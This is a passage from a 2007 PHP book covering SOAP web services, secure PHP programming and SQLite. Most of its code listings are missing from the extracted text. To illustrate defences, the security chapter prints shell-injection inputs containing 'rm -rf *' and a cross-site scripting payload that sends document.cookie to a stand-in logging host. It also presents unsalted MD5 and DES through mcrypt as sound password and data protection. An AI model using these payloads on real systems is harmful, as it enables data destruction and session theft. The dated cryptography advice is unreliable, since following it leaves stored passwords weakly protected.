proxy server. proxy_login: This parameter specifies the proxy server username if one is required. proxy_password: This parameter specifies the proxy server password if one is required. proxy_port: This parameter specifies the proxy server port when connecting through a proxy server. soap_version: This parameter specifies whether SOAP version 1.1 or 1.2 should be used. This defaults to version 1.1. trace: This parameter specifies whether you’d like to examine SOAP request and response envelopes. If so, you’ll need to enable this by setting it to 1. uri: This parameter specifies the SOAP service namespace when not working in WSDL mode.
379
Gilmore_Bryla_770-2C20.fm Page 380 Saturday, July 21, 2007 11:17 AM
380
CHAPTER 20 ■ WEB SERVICE S
Establishing a connection to a Web Service is trivial. The following example shows you how to use the SoapClient object to connect to a sports-related Web service I’ve created to retrieve a random boxing quote: However, just referencing the Web Service really doesn’t do you much good. You’ll want to learn more about the methods exposed by this Web Service. Of course, you can open up the WSDL document in the browser or a WSDL viewer by navigating to http://www.wjgilmore.com/boxing.wsdl. However, you can also retrieve the methods programmatically using the __getFunctions() method, introduced next.
Retrieving the Exposed Methods The __getFunctions() method returns an array consisting of all methods exposed by the service referenced by the SoapClient object. The prototype looks like this: array SoapClient->__getFunctions() The following example establishes a connection to the boxing quotation SOAP server and retrieves a list of available methods: This example returns the following (formatted for readability): array(1) { [0]=> string(30) "string getQuote(string $boxer)" } One method is exposed, getQuote(), and it requires that you pass in the name of a boxer, returning a string (presumably a quotation). In the following sections you’ll learn how the boxing quotation SOAP server was created and see it in action.
Creating a SOAP Server Creating a SOAP server with the native SOAP extension is easier than you think. Although several server-specific methods are provided with the SOAP extension, only three methods are required to create a complete WSDL-enabled server. This section introduces these and other methods, guiding you through the process of creating a functional SOAP server as the section progresses. The section “SOAP Client and Server Interaction” offers a complete working example of the interaction between a WSDL-enabled client and server created using this extension. To illustrate this, the examples in the remainder of this chapter refer to Listing 20-6, which offers a sample WSDL file. Directly following the listing, a few important SOAP configuration directives are introduced that you need to keep in mind when building SOAP services using this extension.
Gilmore_Bryla_770-2C20.fm Page 381 Saturday, July 21, 2007 11:17 AM
C HAPTE R 20 ■ WEB S ERVICES
Listing 20-6. A Sample WSDL File (boxing.wsdl) Returns quote from famous pugilists The SoapServer() constructor instantiates a new instance of the SoapServer class in WSDL or non-WSDL mode. Its prototype looks like this: object SoapServer->SoapServer(mixed wsdl [, array options])
381
Gilmore_Bryla_770-2C20.fm Page 382 Saturday, July 21, 2007 11:17 AM
382
CHAPTER 20 ■ WEB SERVICE S
If you require WSDL mode, you need to assign the wsdl parameter the WSDL file’s location, or else set it to NULL. The optional options parameter is an array used to set the following options: actor: Identifies the SOAP server as an actor, defining its URI. encoding: Sets the character encoding. soap_version: Determines the supported SOAP version and must be set with the syntax SOAP_x_y, where x is an integer specifying the major version number, and y is an integer specifying the corresponding minor version number. For example, SOAP version 1.2 would be assigned as SOAP_1_2. The following example creates a SoapServer object referencing the boxing.wsdl file: $soapserver = new SoapServer("boxing.wsdl"); If the WSDL file resides on another server, you can reference it using a valid URI: $soapserver = new SoapServer("http://www.example.com/boxing.wsdl"); Next, you need to export at least one function, a task accomplished using the addFunction() method, introduced next.
■Note
If you’re interested in exposing all methods in a class through the SOAP server, use the method setClass(), introduced later in this section.
Adding a Server Function You can make a function available to clients by exporting it using the addFunction() method. In the WSDL file, there is only one function to implement, getQuote(). It takes $boxer as a lone parameter and returns a string. Let’s create this function and expose it to connecting clients:
Gilmore_Bryla_770-2C21.fm Page 397 Thursday, August 2, 2007 3:17 PM
CH APT ER 21 ■ S ECURE PH P PRO GRAM MIN G
Provided the e-commerce site isn’t comparing cookie information to a specific IP address, a safeguard that is all too uncommon, all the attacker has to do is assemble the cookie data into a format supported by her browser, and then return to the site from which the information was culled. Chances are she’s now masquerading as the innocent user, potentially making unauthorized purchases with her credit card, further defacing the forums, and even wreaking other havoc.
Sanitizing User Input: The Solution Given the frightening effects that unchecked user input can have on a Web site and its users, one would think that carrying out the necessary safeguards must be a particularly complex task. After all, the problem is so prevalent within Web applications of all types, prevention must be quite difficult, right? Ironically, preventing these types of attacks is really a trivial affair, accomplished by first passing the input through one of several functions before performing any subsequent task with it. Four standard functions are conveniently available for doing so: escapeshellarg(), escapeshellcmd(), htmlentities(), and strip_tags().
■Note
Keep in mind that the safeguards described in this section, and frankly throughout the chapter, while effective, offer only a few of the many possible solutions at your disposal. For instance, in addition to the four functions described in this section, you could also typecast incoming data to make sure it meets the requisite types as expected by the application. Therefore, although you should pay close attention to what’s discussed in this chapter, you should also be sure to read as many other security-minded resources as possible to obtain a comprehensive understanding of the topic.
Escaping Shell Arguments The escapeshellarg() function delimits its arguments with single quotes and escapes quotes. Its prototype follows: string escapeshellarg(string arguments) The effect is such that when arguments is passed to a shell command, it will be considered a single argument. This is significant because it lessens the possibility that an attacker could masquerade additional commands as shell command arguments. Therefore, in the previously described file-deletion scenario, all of the user input would be enclosed in single quotes, like so: /opt/inventorymgr '50XCH67YU' '50; rm -rf *' Attempting to execute this would mean 50; rm -rf * would be treated by inventorymgr as the requested inventory count. Presuming inventorymgr is validating this value to ensure that it’s an integer, the call will fail and no real harm will be done.
Escaping Shell Metacharacters The escapeshellcmd() function operates under the same premise as escapeshellarg(), but it sanitizes potentially dangerous input program names rather than program arguments. Its prototype follows: string escapeshellcmd(string command) This function operates by escaping any shell metacharacters found in the command. These metacharacters include # & ; ` , | * ? ~ < > ^ ( ) [ ] { } $ \\. You should use escapeshellcmd() in any case where the user’s input might determine the name of a command to execute. For instance, suppose the inventory-management application is modified
397
Gilmore_Bryla_770-2C21.fm Page 398 Thursday, August 2, 2007 3:17 PM
398
CHAPTER 21 ■ S ECURE PHP PROGRAM MIN G
to allow the user to call one of two available programs, foodinventorymgr or supplyinventorymgr, by passing along the string food or supply, respectively, together with the SKU and requested amount. The exec() command might look like this: exec("/opt/".$command."inventorymgr ".$sku." ".$inventory); Assuming the user plays by the rules, the task will work just fine. However, consider what would happen if the user were to pass along the following as the value to $command: blah; rm -rf *; /opt/blah; rm -rf *; inventorymgr 50XCH67YU 50 This assumes the user also passes in 50XCH67YU and 50 as the SKU and inventory number, respectively. These values don’t matter anyway because the appropriate inventorymgr command will never be invoked since a bogus command was passed in to execute the nefarious rm command. However, if this material were to be filtered through escapeshellcmd() first, $command would look like this: blah\; rm -rf \*; This means exec() would attempt to execute the command /opt/blah rm -rf, which of course doesn’t exist.
Converting Input into HTML Entities The htmlentities() function converts certain characters that have special meaning in an HTML context to strings that a browser can render as provided rather than execute them as HTML. Its prototype follows: string htmlentities(string input [, int quote_style [, string charset]]) Five characters in particular are considered special by this function: • & will be translated to & • " will be translated to " (when quote_style is set to ENT_NOQUOTES) • > will be translated to > • < will be translated to < • ' will be translated to ' (when quote_style is set to ENT_QUOTES) Returning to the cross-site scripting example, if the user’s input is passed through htmlspecialchars() rather than embedded into the page and executed as JavaScript, the input would instead be displayed exactly as it is input because it would be translated like so: <script> document.location ='http://www.example.org/logger.php?cookie=' + document.cookie
Stripping Tags from User Input Sometimes it is best to completely strip user input of all HTML input, regardless of intent. For instance, HTML-based input can be particularly problematic when the information is displayed back to the browser, as is the case of a message board. The introduction of HTML tags into a message board could alter the display of the page, causing it to be displayed incorrectly or not at all. This problem can be eliminated by passing the user input through strip_tags(), which removes all HTML tags from a string. Its prototype follows:
Gilmore_Bryla_770-2C21.fm Page 399 Thursday, August 2, 2007 3:17 PM
CH APT ER 21 ■ S ECURE PH P PRO GRAM MIN G
string strip_tags(string str [, string allowed_tags]) The input parameter str is the string that will be examined for tags, while the optional input parameter allowed_tags specifies any tags that you would like to be allowed in the string. For example, italic tags () might be allowable, but table tags such as
| could potentially wreak havoc on a page. An example follows:
Taking Advantage of PEAR: Validate While the functions described in the preceding section work well for stripping potentially malicious data from user input, what if you want to verify whether the provided data is a valid e-mail address (syntactically), or whether a number falls within a specific range? Because these are such commonplace tasks, a PEAR package called Validate can perform these verifications and more. You can also install additional rules for validating the syntax of localized data, such as an Australian phone number, for instance.
Installing Validate To take advantage of Validate’s features, you need to install it from PEAR. Therefore, start PEAR and pass along the following arguments: %>pear install -a Validate-0.6.5 Starting to download Validate-0.6.5.tgz (16,296 bytes) ......done: 16,296 bytes downloading Date-1.4.6.tgz ... Starting to download Date-1.4.6.tgz (53,535 bytes) ...done: 53,535 bytes install ok: channel://pear.php.net/Date-1.4.6 install ok: channel://pear.php.net/Validate-0.6.5 The -a will result in the optional package dependency Date, also being installed. If you don’t plan on validating dates, you can omit this option. Also, in this example the version number is appended to the package; this is because at the time this was written, Validate was still in a beta state. Once it reaches a stable version there will be no need to include the version number.
Validating a String Some data should consist only of numeric characters, alphabetical characters, a certain range of characters, or maybe even all uppercase or lowercase letters. You can validate such rules and more using Validate’s string() method:
Validating an E-mail Address Validating an e-mail address’s syntax is a fairly difficult matter, requiring the use of a somewhat complex regular expression. The problem is compounded with most users’ lack of understanding regarding what constitutes a valid address. For example, which of the following three e-mail addresses are invalid?
[email protected] [email protected] [email protected] You might be surprised to learn they’re all valid! If you don’t know this and attempt to implement an e-mail validation function, it’s possible you could prevent a perfectly valid e-mail address from being processed. Why not leave it to the Validate package? Consider this example: You can also determine whether the address domain exists by passing the option check_domain as a second parameter to the email() method, like this: $validate->email($email, array("check_domain" => 1));
Data Encryption Encryption can be defined as the translation of data into a format that is intended to be unreadable by anyone except the intended party. The intended party can then decode, or decrypt, the encrypted
Gilmore_Bryla_770-2C21.fm Page 401 Thursday, August 2, 2007 3:17 PM
CH APT ER 21 ■ S ECURE PH P PRO GRAM MIN G
data through the use of some secret—typically a secret key or password. PHP offers support for several encryption algorithms. Several of the more prominent ones are described here.
■Tip
For more information about encryption, pick up the book Applied Cryptography: Protocols, Algorithms, and Source Code in C, Second Edition by Bruce Schneier (John Wiley & Sons, 1995).
PHP’s Encryption Functions Prior to delving into an overview of PHP’s encryption capabilities, it’s worth discussing one caveat to their usage, which applies regardless of the solution. Encryption over the Web is largely useless unless the scripts running the encryption schemes are operating on an SSL-enabled server. Why? PHP is a server-side scripting language, so information must be sent to the server in plain-text format before it can be encrypted. There are many ways that an unwanted third party can watch this information as it is transmitted from the user to the server if the user is not operating via a secured connection. For more information about setting up a secure Apache server, check out http://www.apache-ssl.org. If you’re using a different Web server, refer to your documentation. Chances are that there is at least one, if not several, security solutions for your particular server. With that caveat out of the way, let’s review PHP’s encryption functions.
Encrypting Data with the md5() Hash Function The md5() function uses MD5, which is a third-party hash algorithm often used for creating digital signatures (among other things). Digital signatures can, in turn, be used to uniquely identify the sending party. MD5 is considered to be a one-way hashing algorithm, which means there is no way to dehash data that has been hashed using md5(). Its prototype looks like this: string md5(string str) The MD5 algorithm can also be used as a password verification system. Because it is (in theory) extremely difficult to retrieve the original string that has been hashed using the MD5 algorithm, you could hash a given password using MD5 and then compare that encrypted password against those that a user enters to gain access to restricted information. For example, assume that your secret password toystore has an MD5 hash of 745e2abd7c52ee1dd7c14ae0d71b9d76. You can store this hashed value on the server and compare it to the MD5 hash equivalent of the password the user attempts to enter. Even if an intruder gets hold of the encrypted password, it wouldn’t make much difference because that intruder can’t return the string to its original format through conventional means. An example of hashing a string using md5() follows: Remember that to store a complete hash, you need to set the field length to 32 characters. The md5() function will satisfy most hashing needs. There is another much more powerful hashing alternative available via the mhash library. This library is introduced in the next section.
401
Gilmore_Bryla_770-2C21.fm Page 402 Thursday, August 2, 2007 3:17 PM
402
CHAPTER 21 ■ S ECURE PHP PROGRAM MIN G
Using the mhash Library mhash is an open source library that offers an interface to a wide number of hash algorithms. Authored by Nikos Mavroyanopoulos and Sascha Schumann, mhash can significantly extend PHP’s hashing capabilities. Integrating the mhash module into your PHP distribution is rather simple: 1. Go to http://mhash.sourceforge.net and download the package source. 2. Extract the contents of the compressed distribution and follow the installation instructions as specified in the INSTALL document. 3. Compile PHP with the --with-mhash option. On completion of the installation process, you have the functionality offered by mhash at your disposal. This section introduces mhash(), the most prominent of the five functions made available to PHP when the mhash extension is included.
Hashing Data with mhash The function mhash() offers support for a number of hashing algorithms, allowing developers to incorporate checksums, message digests, and various other digital signatures into their PHP applications. Its prototype follows: string mhash(int hash, string data [, string key]) Hashes are also used for storing passwords. mhash()currently supports the hashing algorithms listed here: • ADLER32 • CRC32 • CRC32B • GOST • HAVAL • MD4 • MD5 • RIPEMD128 • RIPEMD160 • SHA1 • SNEFRU • TIGER Consider an example. Suppose you want to immediately encrypt a user’s chosen password at the time of registration (which is typically a good idea). You could use mhash() to do so, setting the hash parameter to your chosen hashing algorithm, and data to the password you want to hash: This returns the following:
Gilmore_Bryla_770-2C21.fm Page 403 Thursday, August 2, 2007 3:17 PM
CH APT ER 21 ■ S ECURE PH P PRO GRAM MIN G
The hashed password is: 07c45f62d68d6e63a9cc18a5e1871438ba8485c2
Note that you must use the bin2hex() function to convert the hash from binary mode to hexadecimal so that it can be formatted in a fashion easily viewable within a browser. Via the optional parameter key, mhash() is also capable of determining message integrity and authenticity. If you pass in the message’s secret key, mhash() will validate whether the message has been tampered with by returning the message’s Hashed Message Authentication Code (HMAC). You can think of the HMAC as a checksum for encrypted data. If the HMAC matches the one that would be published along with the message, the message has arrived undisturbed.
The MCrypt Package MCrypt is a popular data-encryption package available for use with PHP, providing support for twoway encryption (i.e., encryption and decryption). Before you can use it, you need to follow these installation instructions: 1. Go to http://mcrypt.sourceforge.net/ and download the package source. 2. Extract the contents of the compressed distribution and follow the installation instructions as specified in the INSTALL document. 3. Compile PHP with the --with-mcrypt option. MCrypt supports a number of encryption algorithms, all of which are listed here: • ARCFOUR • ARCFOUR_IV • BLOWFISH • CAST • CRYPT • DES • ENIGMA • GOST • IDEA • LOKI97 • MARS • PANAMA • RC (2, 4) • RC6 (128, 192, 256) • RIJNDAEL (128, 192, 256) • SAFER (64, 128, and PLUS) • SERPENT (128, 192, and 256) • SKIPJACK • TEAN • THREEWAY
403
Gilmore_Bryla_770-2C21.fm Page 404 Thursday, August 2, 2007 3:17 PM
404
CHAPTER 21 ■ S ECURE PHP PROGRAM MIN G
• 3DES • TWOFISH (128, 192, and 256) • WAKE • XTEA This section introduces just a sample of the more than 35 functions made available via this PHP extension. For a complete introduction, consult the PHP manual.
Encrypting Data with MCrypt The mcrypt_encrypt() function encrypts the provided data, returning the encrypted result. The prototype follows: string mcrypt_encrypt(string cipher, string key, string data, string mode [, string iv]) The provided cipher names the particular encryption algorithm, and the parameter key determines the key used to encrypt the data. The mode parameter specifies one of the six available encryption modes: electronic codebook, cipher block chaining, cipher feedback, 8-bit output feedback, N-bit output feedback, and a special stream mode. Each is referenced by an abbreviation: ecb, cbc, cfb, ofb, nofb, and stream, respectively. Finally, the iv parameter initializes cbc, cfb, ofb, and certain algorithms used in stream mode. Consider an example: This returns the following:
f5d8b337f27e251c25f6a17c74f93c5e9a8a21b91f2b1b0151e649232b486c93b36af467914bc7d8
You can then decrypt the text with the mcrypt_decrypt() function, introduced next.
Decrypting Data with MCrypt The mcrypt_decrypt() function decrypts a previously encrypted cipher, provided that the cipher, key, and mode are the same as those used to encrypt the data. Its prototype follows: string mcrypt_decrypt(string cipher, string key, string data, string mode [, string iv]) Go ahead and insert the following line into the previous example, directly after the last statement: echo mcrypt_decrypt(MCRYPT_DES, $key, $enc, MCRYPT_MODE_CBC, $iv); This returns the following:
Gilmore_Bryla_770-2C21.fm Page 405 Thursday, August 2, 2007 3:17 PM
CH APT ER 21 ■ S ECURE PH P PRO GRAM MIN G
This is the message I want to encrypt.
The methods in this section are only those that are in some way incorporated into the PHP extension set. However, you are not limited to these encryption/hashing solutions. Keep in mind that you can use functions such as popen() or exec() with any of your favorite third-party encryption technologies, for example, PGP (http://www.pgpi.org/) or GPG (http://www.gnupg.org/).
Summary Hopefully the material presented in this chapter provided you with a few important tips and, more importantly, got you thinking about the many attack vectors that your application and server face. However, it’s important to understand that the topics described in this section are but a tiny sliver of the total security pie. If you’re new to the subject, take some time to learn more about some of the more prominent security-related Web sites. Regardless of your prior experience, you need to devise a strategy for staying abreast of breaking security news. Subscribing to the newsletters both from the more prevalent security-focused Web sites and from the product developers may be the best way to do so. However, your strategic preference is somewhat irrelevant; what is important is that you have a strategy and stick to it, lest your castle be conquered.
405
Gilmore_Bryla_770-2C21.fm Page 406 Thursday, August 2, 2007 3:17 PM
Gilmore_Bryla_770-2C22.fm Page 407 Saturday, July 21, 2007 12:28 PM
CHAPTER 22 ■■■
SQLite
A
s of PHP 5, support was added for the open source database server SQLite (http://www.sqlite. org/). This was done partly in response to the decision to unbundle MySQL from version 5 due to licensing discrepancies and partly due to a realization that users might benefit from the availability of another powerful database that nonetheless requires measurably less configuration and maintenance as compared to similar products. This chapter introduces both SQLite and PHP’s ability to interface with this surprisingly capable database engine.
Introduction to SQLite SQLite is a very compact, multiplatform SQL database engine written in C. Practically SQL-92 compliant, SQLite offers many of the core management features made available by products such as MySQL, Oracle, and PostgreSQL, yet at considerable savings in terms of cost, learning curve, and administration investment. Some of SQLite’s more compelling characteristics include the following: • SQLite stores an entire database in a single file, allowing for easy backup and transfer. • SQLite’s approach to database security is based entirely on the executing user’s file permissions. So, for example, user web might own the Web server daemon process and, through a script executed on that server, attempt to write to an SQLite database named mydatabase.db. Whether this user is capable of doing so depends entirely on the mydatabase.db file permissions. • SQLite offers default transactional support, automatically integrating commit and rollback support. • SQLite is available under a public domain license (it’s free) for both the Microsoft Windows and Linux platforms. This section offers a brief guide to the SQLite command-line interface. The purpose of this section is twofold. First, it provides an introductory look at this useful client. Second, the steps demonstrated create the data that will serve as the basis for all subsequent examples in this chapter.
Installing SQLite When PHP 5.0 was released, support for SQLite was added and the extension was enabled by default. Therefore, if you’re running PHP 5.0.X, you can begin using SQLite without performing any additional steps.
407
Gilmore_Bryla_770-2C22.fm Page 408 Saturday, July 21, 2007 12:28 PM
408
CHAPTER 22 ■ S QLITE
As of PHP 5.1 this changed in two ways: while the extension continues to be bundled with the language, it is left to the user to decide whether it will be enabled. Further, as of PHP 5.1, SQLite support is handled through the PDO extension (introduced in Chapter 23). Therefore if you’re running PHP 5.1 or greater, you’ll need to add the following two lines to the php.ini file in this order: extension=php_pdo.dll extension=php_sqlite.dll There is one related utility omitted from the PHP distribution, namely sqlite, a command-line interface to the engine. Because this utility is quite useful (although not necessary), consider installing the SQLite library from http://www.sqlite.org/, which includes this utility. Then configure (or reconfigure) PHP with the --with-sqlite=/path/to/library flag. The next section shows you how to use this interface. Windows users will need to download the SQLite extension from http://snaps.php.net/win32/ PECL_STABLE/php_sqlite.dll. Once downloaded, place this DLL file within the same directory as the others (PHP-INSTALL-DIR\ext) and add the following line to your php.ini file: php_extension=php_sqlite.dll
Using the SQLite Command-Line Interface The SQLite command-line interface offers a simple means for interacting with the SQLite database server. With this tool, you can create and maintain databases, execute administrative processes such as backups and scripts, and tweak the client’s behavior. Begin by opening a terminal window and executing SQLite with the help option: %>sqlite -help If you’ve downloaded SQLite version 3 for Windows, you need to execute it like so: %>sqlite3 -help In either case, before exiting back to the command line, you’ll be greeted with the command’s usage syntax and a menu consisting of numerous options. Note that the usage syntax specifies that a file name is required to enter the SQLite interface. This file name is actually the name of the database. When supplied, a connection to this database will be opened if the executing user possesses adequate permissions. If the supplied database does not exist, it will be created, again if the executing user possesses the necessary privileges. As an example, create a database named corporate.db. This database consists of a single table, employees. In this section, you’ll learn how to use SQLite’s command-line program to create the database, table, and sample data. Although this section isn’t intended as a replacement for the documentation, it should be sufficient to enable you to familiarize yourself with the very basic aspects of SQLite and its command-line interface. 1. Open a new SQLite database, as follows. Because this database presumably doesn’t already exist, the mere act of opening a nonexistent database will first result in its creation: %>sqlite corporate.db 2. Create a table: sqlite>create table employees ( ...>empid integer primary key, ...>name varchar(25), ...>title varchar(25));
Gilmore_Bryla_770-2C22.fm Page 409 Saturday, July 21, 2007 12:28 PM
CHAPTER 22 ■ S QLITE
3. Check the table structure for accuracy: sqlite>.schema employees Note that a period (.) prefaces the schema command. This syntax requirement holds true for all commands found under the help menu. 4. Insert a few data rows: sqlite> insert into employees values(NULL,"Jason Gilmore","Chief Slacker"); sqlite> insert into employees values(NULL,"Sam Spade","Technologist"); sqlite> insert into employees values(NULL,"Ray Fox","Comedian"); 5. Query the table, just to ensure that all is correct: sqlite>select * from employees; You should see the following: 1|Jason Gilmore|Chief Slacker 2|Sam Spade|Technologist 3|Ray Fox|Comedian 6. Quit the interface with the following command: sqlite>.quit
■Note
PHP 5.X is bundled with SQLite version 2; however, SQLite version 3 has been out for quite some time. Therefore, if you wish to use the SQLite command-line interface to create a database and then move it to a location for interaction with a PHP script, be sure to have downloaded SQLite version 2 because the database file formats between these two versions are incompatible. Alternatively, you can convert SQLite 2.X databases to a version 3 format by executing the following command: sqlite2 original.db .dump | sqlite3 new.db. Note that you’ll need both the version 2 and version 3 interfaces to execute this command. Also, your interface names might not include the 2 or the 3; I’ve only done so to clarify which interface should be referenced where.
PHP’s SQLite Library The SQLite functions introduced in this section are quite similar to those found in the other PHPsupported database libraries such as Oracle or MySQL. In fact, for many of the functions, the name is the only real differentiating factor. Therefore, if you have experience using any relational database, picking up SQLite should be a snap. Even if you’re entirely new to the concept, don’t worry; you’ll likely find that these functions are quite easy to use.
sqlite.assoc_case = 0 | 1 | 2 Scope: PHP_INI_ALL; Default value: 0 One PHP configuration directive is pertinent to SQLite: sqlite.assoc_case, which determines the case used for retrieved column names. While SQLite is case insensitive when it comes to dealing with column names, various other database servers attempt to standardize name formats by always returning them in uppercase letters. This dichotomy can be problematic when porting an application to
409
Gilmore_Bryla_770-2C22.fm Page 410 Saturday, July 21, 2007 12:28 PM
410
CHAPTER 22 ■ S QLITE
SQLite because the column names used in the application may be standardized in uppercase to account for the database server’s tendencies. To modify this behavior, you can use the sqlite.assoc_case directive. By default, this directive is set to 0, which retains the case used in the table definitions. If it’s set to 1, the names will be converted to uppercase. If it’s set to 2, the names will be converted to lowercase.
Opening a Connection Before you can retrieve or manipulate any data located in an SQLite database, you must first establish a connection. Two functions are available for doing so, sqlite_open() and sqlite_popen().
Opening an SQLite Database The sqlite_open() function opens an SQLite database, first creating the database if it doesn’t already exist. Its prototype follows: resource sqlite_open(string filename [, int mode [, string &error_message]]) The filename parameter specifies the database name. The optional mode parameter determines the access privilege level under which the database will be opened and is specified as an octal value (the default is 0666) as might be used to specify modes in Unix. Currently, this parameter is unsupported by the API. The optional error_message parameter is actually automatically assigned a value specifying an error if the database cannot be opened. If the database is successfully opened, the function returns a resource handle pointing to that database. Consider an example: This either opens an existing database named corporate.db, creates a database named corporate.db within the directory /home/book/22/, or results in an error, likely because of privilege problems. If you experience problems creating or opening the database, be sure that the user owning the Web server process possesses adequate permissions for writing to this directory.
Opening a Persistent SQLite Connect The function sqlite_popen() operates identically to sqlite_open() except that it uses PHP’s persistent connection feature in an effort to conserve resources. Its prototype follows: resource sqlite_popen(string filename [, int mode [, string &error_message]]) The function first verifies whether a connection already exists. If it does, it reuses this connection; otherwise, it creates a new one. Because of the performance improvements offered by this function, you should use sqlite_popen() instead of sqlite_open().
Gilmore_Bryla_770-2C22.fm Page 411 Saturday, July 21, 2007 12:28 PM
CHAPTER 22 ■ S QLITE
OBJECT-ORIENTED SQLITE Although this chapter introduces PHP’s SQLite library using the procedural approach, an object-oriented interface is also supported. All functions introduced in this chapter are also supported as methods when using the object-oriented interface. However, the names differ slightly in that the sqlite_ prefix is removed from them. Therefore, the only significant usage deviation is in regard to referencing the methods by way of an object ($objectname->methodname()) rather than by passing around a resource handle. Also, the constructor takes the place of the sqlite_open() function, negating the need to specifically open a database connection. The class is instantiated by calling the constructor like so: $sqldb = new SQLiteDatabase(string databasename [, int mode [, string &error_message]]); Once the object is created, you can call methods just as you do for any other class. For example, you can execute a query and determine the number of rows returned with the following code: $sqldb = new SQLiteDatabase("corporate.db"); $sqldb->query("SELECT * FROM employees"); echo $sqldb->numRows()." rows returned."; See the PHP manual (http://www.php.net/sqlite) for a complete listing of the available methods.
Creating a Table in Memory Sometimes your application may require database access performance surpassing even that offered by SQLite’s default behavior, which is to manage databases in self-contained files. To satisfy such requirements, SQLite supports the creation of in-memory (RAM-based) databases, accomplished by calling sqlite_open() like so: $sqldb = sqlite_open(":memory:"); Once open, you can create a table that will reside in memory by calling sqlite_query(), passing in a CREATE TABLE statement. Keep in mind that such tables are volatile, disappearing once the script has finished executing.
Closing a Connection Good programming practice dictates that you close pointers to resources once you’re finished with them. This maxim holds true for SQLite; once you’ve completed working with a database, you should close the open handle. One function, sqlite_close(), accomplishes just this. Its prototype follows: void sqlite_close(resource dbh) You should call this function after all necessary tasks involving the database have been completed. An example follows: Note that if a pending transaction has not been completed at the time of closure, the transaction will automatically be rolled back.
411
Gilmore_Bryla_770-2C22.fm Page 412 Saturday, July 21, 2007 12:28 PM
412
CHAPTER 22 ■ S QLITE
Querying a Database The majority of your time spent interacting with a database server takes the form of SQL queries. The functions sqlite_query() and sqlite_unbuffered_query() offer the main vehicles for submitting these queries to SQLite and returning the subsequent result sets. You should pay particular attention to the specific advantages of each because applying them inappropriately can negatively impact performance and capabilities.
Executing a SQL Query The sqlite_query() function executes a SQL query against the database. Its prototype follows: resource sqlite_query(resource dbh, string query [, int result_type [, string &error_msg]]) If the query is intended to return a result set, FALSE is returned if the query fails. All other queries return TRUE if the query is successful. If the query is intended to return a result set, the optional result_type parameter specifies how the result set is indexed. By default it will return the set using both associative and numerical indices (SQLITE_BOTH). You can use SQLITE_ASSOC to return the set as associative indices, and SQLITE_NUM to return the set using numerical indices. Finally, the optional &error_msg parameter (available as of PHP 5.1.0) can be used should you wish to review any SQL syntax error that might occur. Should an error occur, the error message will be made available by way of a variable of the parameter name. An example follows: This yields the following results: Name: Jason Gilmore (Employee ID: 1) Name: Sam Spade (Employee ID: 2) Name: Ray Fox (Employee ID: 3) Keep in mind that sqlite_query() will only execute the query and return a result set (if one is warranted); it will not output or offer any additional information regarding the returned data. To obtain such information, you need to pass the result set into one or several other functions, all of which are introduced in the following sections. Furthermore, sqlite_query() is not limited to executing SELECT queries. You can use this function to execute any supported SQL-92 query.
Gilmore_Bryla_770-2C22.fm Page 413 Saturday, July 21, 2007 12:28 PM
CHAPTER 22 ■ S QLITE
Executing an Unbuffered SQL Query The sqlite_unbuffered_query() function can be thought of as an optimized version of sqlite_query(), identical in every way except that it returns the result set in a format intended to be used in the order in which it is returned, without any need to search or navigate it in any other way. Its prototype follows: resource sqlite_unbuffered_query(resource dbh, string query [, int result_type [, string &error_msg]]) This function is particularly useful if you’re solely interested in dumping a result set to output, an HTML table or a text file, for example. The optional result_type and &error_msg parameters operate identically to those introduced in the previous section on sqlite_query(). Because this function is optimized for returning result sets intended to be output in a straightforward fashion, you cannot pass its output to functions such as sqlite_num_rows(), sqlite_seek(), or any other function with the purpose of examining or modifying the output or output pointers. If you require the use of such functions, use sqlite_query() to retrieve the result set instead.
Retrieving the Most Recently Inserted Row Identifier It’s common to reference a newly inserted row immediately after the insertion is completed, which in many cases is accomplished by referencing the row’s autoincrement field. Because this value will contain the highest integer value for the field, determining it is as simple as searching for the column’s maximum value. The sqlite_last_insert_rowid() function accomplishes this for you, returning that value. Its prototype follows: int sqlite_last_insert_rowid(resource dbh)
Parsing Result Sets Once a result set has been returned, you’ll likely want to do something with the data. The functions in this section demonstrate the many ways that you can parse the result set.
Returning the Result Set as an Associative Array The sqlite_fetch_array() function returns an associative array consisting of the items found in the result set’s next available row, or returns FALSE if no more rows are available. Its prototype follows: array sqlite_fetch_array(resource result [, int result_type [, bool decode_binary]) The optional result_type parameter can be used to specify whether the columns found in the result set row should be referenced by their integer-based position in the row or by their actual name. Specifying SQLITE_NUM enables the former, while SQLITE_ASSOC enables the latter. You can return both referential indexes by specifying SQLITE_BOTH. Finally, the optional decode_binary parameter determines whether PHP will decode the binary-encoded target data that had been previously encoded using the function sqlite_escape_string(). This function is introduced in the later section “Working with Binary Data.”
413
Gilmore_Bryla_770-2C22.fm Page 414 Saturday, July 21, 2007 12:28 PM
414
CHAPTER 22 ■ S QLITE
■Tip
If SQLITE_ASSOC or SQLITE_BOTH are used, PHP will look to the sqlite.assoc_case configuration directive to determine the case of the characters.
Consider an example: This returns the following: Name: Jason Gilmore (Employee ID: 1) Name: Sam Spade (Employee ID: 2) Name: Ray Fox (Employee ID: 3) Note that the SQLITE_BOTH option was used so that the returned columns could be referenced both by their numerically indexed position and by their name. Although it’s not entirely practical, this example serves as an ideal means for demonstrating the function’s flexibility. One great way to render your code a tad more readable is to use PHP’s list() function in conjunction with sql_fetch_array(). With it, you can both return and parse the array into the required components all on the same line. Let’s revise the previous example to take this idea into account:
Consolidating sqlite_query() and sqlite_fetch_array() The sqlite_array_query() function consolidates the capabilities of sqlite_query() and sqlite_ fetch_array() into a single function call, both executing the query and returning the result set as an array. Its prototype follows: array sqlite_array_query(resource dbh, string query [, int res_type [, bool decode_binary]]) The input parameters work exactly like those introduced in the component functions sqlite_query() and sqlite_fetch_array(). According to the PHP manual, this function should only be used for retrieving result sets of fewer than 45 rows. However, in instances where 45 or fewer rows are involved, this function provides both a considerable improvement in performance and, in certain cases, a slight reduction in total lines of code. Consider an example:
Gilmore_Bryla_770-2C22.fm Page 415 Saturday, July 21, 2007 12:28 PM
CHAPTER 22 ■ S QLITE
This returns the following: Jason Gilmore (Employee ID: 1) Sam Spade (Employee ID: 2) Ray Fox (Employee ID: 3)
